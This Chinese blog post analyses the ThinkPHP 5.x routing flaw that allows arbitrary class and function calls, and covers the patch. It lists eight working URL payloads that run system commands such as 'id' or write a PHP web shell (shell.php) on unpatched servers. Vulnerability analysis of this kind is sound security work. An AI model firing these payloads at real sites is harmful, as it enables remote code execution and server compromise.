博客更的越来越少了,笔记里捞出来几篇文章找出来一块发了。
0x00 介绍
ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。
0x01 知识背景
路由解析
?s=index/index/hello
tp5中路由舍弃了3.x中的?m=index&c=Index&a=hello
方式,而使用一个参数s
传递所有信息,s=/index/Index/hello
中三部分分别代表module
,controller
,action
。此次出现问题的部分便是controller
,由于ThinkPHP
中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做controller
。
参数处理
<?php
namespace app\index\controller;
class Test
{
public function index($name){
return 'Hello '+$name;
}
}
?s=index/test/index&name=world
参数会自动处理,当然也可为数组,比如
?s=index/test/index&name[0]=world&&name[1]=xx
0x02 漏洞分析
在5.1.x中函数名为
parseModuleAndClass
,功能一样
parseClass()
函数:
正常情况下会对name
进行处理,限制在app\index\controller
命名空间。
这里的
name
即为controller
,前置处理为获取到module
,controller
,action
,将controller
传入该函数处理。
当name
中存在\\
时,直接将name
赋值到class
,不再进行parseClass
操作,配合自动加载的机制从而导致可为任意命名空间下的类作为controller
,任意public
都可被用户访问到,结合ThinkPHP5
内置的一些类和方法便可造成远程命令执行。
0x03 POC
thinkphp/library/think/App.php 304-320行
/**
* 执行函数或者闭包方法 支持参数调用
* @access public
* @param string|array|\Closure $function 函数或者闭包
* @param array $vars 变量
* @return mixed
*/
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
?s=index/think\app/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id
ReflectionFunction
为PHP中的反射类,反射调用call_user_func_array
,call_user_func_array
为回调函数,回调system
,参数为id
已知POC(来自t00ls):
1、?s=index/\think\Request/input&filter=phpinfo&data=1
2、?s=index/\think\Request/input&filter=system&data=id
3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
0x04 漏洞补丁
该补丁为5.0.x
补丁,5.1.x
位置不一样,方式一样。
补丁方式为限制controller
只能为字母和数字。并且放在controller
处理之前。
0x05 总结
简单来说这个洞是由于用户控制了controller
导致的,开发者将处理controller
的代码封装到了Loader.php
,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在\\
的参数),从而导致了漏洞。代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。
另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。
著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/
贵站的图片好像挂了
谢谢提醒,已更新